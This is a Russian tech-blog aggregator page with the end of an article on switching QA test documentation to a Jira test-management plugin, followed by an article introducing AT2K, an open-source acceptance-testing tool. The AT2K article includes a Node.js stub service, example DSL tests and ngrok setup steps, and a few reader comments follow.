Для нас главным и приоритетным преимуществом выбора инструмента стала все-таки связь с Jira. Это значит, что во время прохождения тест-сайкла на регрессии перед релизом вы заводите баг и прикрепляете прямо к тест-кейсу, указываете на каком шаге фейлится тест, разработчик заходит сразу в тест-кейс и видит нужную информацию это же круто, экономия времени). Еще вариант использования: продакт-менеджер создает задачу, qa прикрепляет тест-кейсы к задаче, разработчик сразу видит тест кейс и шаги к нему, которые ему необходимо пройти перед передачей функционала на тестирование. И несмотря на то, что плагин платный, мы поняли, что эти преимущества очень важны для нас и помогут улучшить процессы в тестировании.



Визуализация тест сайклов



Визуализация создания тест-кейса (скрин1)



Визуализация создания тест-кейса (скрин2)


Сравнительный анализ трех инструментов приведен в таблице:





Итоги


Методом проб и ошибок мы сменили инструмент, выбрав тот, который оказался самым удобным для нашего проекта, изменили подход к ведению тестовой документации, ее хранению и управлению, забыв про чек-листы в Google-таблицах и полностью перейдя на тест-кейсы в специальной системе Test Management. За все время использования еще ни разу не пожалели о выборе. Ведение тестовой документации прямо в Jira оказалось неимоверно удобным. Такой подход планируем использовать и в будущем.


Совет для тех, кто еще не решился уходите из Google-доков и переходите на специальные инструменты для тестовой документации. Какой решать вам, предложений по инструментам действительно много, но точно найдется вариант под ваш проект и ваши цели. Я лишь поделилась историей опыта нашего qa-отдела. Могу сказать, что это сэкономило нам немало времени. Пара примеров: актуализация, формирование тест-сайкла и распределение ответственных qa раньше занимало приблизительно час, сейчас 40 мин. Также создание бага раньше занимало до 15 мин, сейчас около 5 мин времени. Итого, экономия времени составила до 30%.

Поэтому могу точно сказать, что переход на тест-кейсы с чек-листов оказался для нас эффективным.

Подробнее..

Из песочницы Состоялся релиз проекта для запуска приемочных тестов

11.11.2020 12:15:25 | Автор: admin

Всем привет, сегодня у меня хорошая новость: вышла бета-версия at2k проекта для управления и запуска приемочных тестов для веб-сервисов. Давайте рассмотрим его основные возможности, которые можно проверить еще и здесь.


Введение


AT2K проект с открытым исходным кодом, написанный на Golang (в качестве языка бекенда) и Angular (для клиентской части). Основная идея и цель в том, чтобы позволить пользователям (программистам, QA инженерам и, возможно, менеджерам) писать и запускать тесты на языке, близком к их предметной области.


Пара примеров


Перед тем, как приступить к рассмотрению UI и различных возможностей по настройке тестов, позвольте продемонстрировать вам пример сервиса, который предполагается протестировать и непосредственно тестов.


Итак, реализация сервиса (node.js):


import express from 'express';import uuid4 from 'uuid4';const app = express();const users = express.Router();const port = process.env.PORT || 4444;let usersRepository = [];app.use(express.json());app.use('/api/v1/user', users);function resetRepository() {  usersRepository = [    {hash: uuid4(), name: 'John'},    {hash: uuid4(), name: 'Nick'}  ];}users.get('/:hash', (req, res) => {  const user = usersRepository.find(u => u.hash === req.params.hash);  if (user) {    res.status(200).send({      status: 'ok',      data: user    });  } else {    res.status(200).send({      status: 'error',      data: 'user-not-found'    });  }});users.post('/', (req, res) => {  const { name } = req.body;  const hash = uuid4();  usersRepository.push({    hash, name  });  res.status(200).send({status: 'ok', hash});});app.listen(port, () => {  resetRepository();  console.log(`Stub AT2K is available on localhost:${port}`);});

Без лишних слов, вот пара тестов:


BEGIN    createUserResponse = CREATE USER {"name": "Joe"}    ASSERT createUserResponse.status EQUALS ok    userResponse = GET USER ${createUserResponse.hash}    ASSERT userResponse.status EQUALS ok    ASSERT userResponse.data.name EQUALS Joe    ASSERT userResponse.data.hash EQUALS ${createUserResponse.hash}ENDBEGIN    userResponse = GET USER not-exists-hash    ASSERT userResponse.status EQUALS error    ASSERT userResponse.data EQUALS user-not-foundEND

Как видите, все довольно просто.


С чего начать


Для начала работы нам нужно завести учетную запись, пройдя по ссылке и введя логин и пароль, который хотим использовать.


Сразу после регистрации можно заходить в админку на странице входа.


Видим довольно непритязательный интерфейс, который с порога сообщает нам, что мы
не создали каких-то там объектов (разберемся позже):


image


Для того чтобы понять, что делать дальше, давайте еще раз посмотрим на пример
теста, а именно на команду:


BEGIN  createUserResponse = CREATE USER {"name": "Joe"}END

Здесь


  • createUserResponse переменная, куда будет записан результат выполнения
    команды
  • CREATE команда
  • USER объект, для которого выполняется команда
  • {"name": "Joe"} аргументы

Так вот, веб-версия проекта служит двум основным целям


  1. Создать и настроить объекты и команды
  2. Запустить тесты, загрузив файл с ними

Создаем объекты и команды для них


Для начала, нам нужно создать объект. Для этого нажимаем на вкладку Create object и попадаем сюда:


image


Нужно ввести имя нашего объекта. Для тестов пойдет USER.


Вводим, нажимаем Create, объект создался:


image


Чтобы без лишних ошибок запустить наши простенькие тесты, нужно создать 2 команды GET и CREATE. Начнем с GET. Нажимаем на иконку редактирования справа от названия команды (см. скрин выше) и попадаем в меню редактирования объекта:


image


Нажимаем на Add command и заполняем все поля, как на скрине ниже:


image


Нажимаем Create внизу страницы (заголовки и куки пока не трогаем, т.к. не нужны).


Аналогично создаем команду CREATE:


image


По результату, в меню редактирования объекта получаем такую картину:


image


image


Почти все готово для запуска тестов.


Запускаем веб-сервис и настраиваем ссылки для запросов


Сейчас нам нужно предоставить доступ бекенду проекта до нашего веб-сервиса. Чтобы не заморачиваться с деплоем, можно просто воспользоваться ngrok.


Для тестов я использую node.js:


mkdir at2k-stub && cd at2k-stubnpm init -ynpm i express uuid4touch index.js

Скопируйте код из введения статьи в файл index.js и запустите командой


node .

Далее воспользуемся ngrok, чтобы сделать наш веб-сервис доступным извне:


ngrok http 4444

Получится ссылка вида http://56dd9be41097.ngrok.io


Далее, нужно обновить наши команды, чтобы они использовали ссылку, полученную выше. Чтобы не редактировать каждую команду по отдельности, нажмите на пункт меню General settings и выберите Base URLs. Введите в поле Base URL ссылку http://56dd9be41097.ngrok.io и нажмите на кнопку Choose all:


image


Нажимаем Update и все готово.


Запуск тестов


Итак, до запуска тестов нас отделяет 1 шаг написание самих тестов. Для этого создайте файл (скажем, get_create_tests.txt) и скопируйте в него содержимое примера тестов из введения. Далее, выберите пункт Run tests, нажмите на кнопку Tests file и выберите файл, который вы создали ранее. Нажимаем Run tests и, если все сделано правильно, видим такую картину:


image


Несложно понять, что наши тесты запускаются и работают.


А что дальше?


Дальше, как несложно догадаться, можно продолжать создавать команды для нашего объекта (USER), писать тесты с использованием этих команд и запускать их также, как было описано в предыдущем разделе.


От автора


Любые предложения по улучшению проекта приветствуются я здесь, чтобы получить фидбек.


Если кто-то решится изучить код в репозитории и предложить улучшения или замечания, тоже буду рад (лучше в телеге @ilyaWD).

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru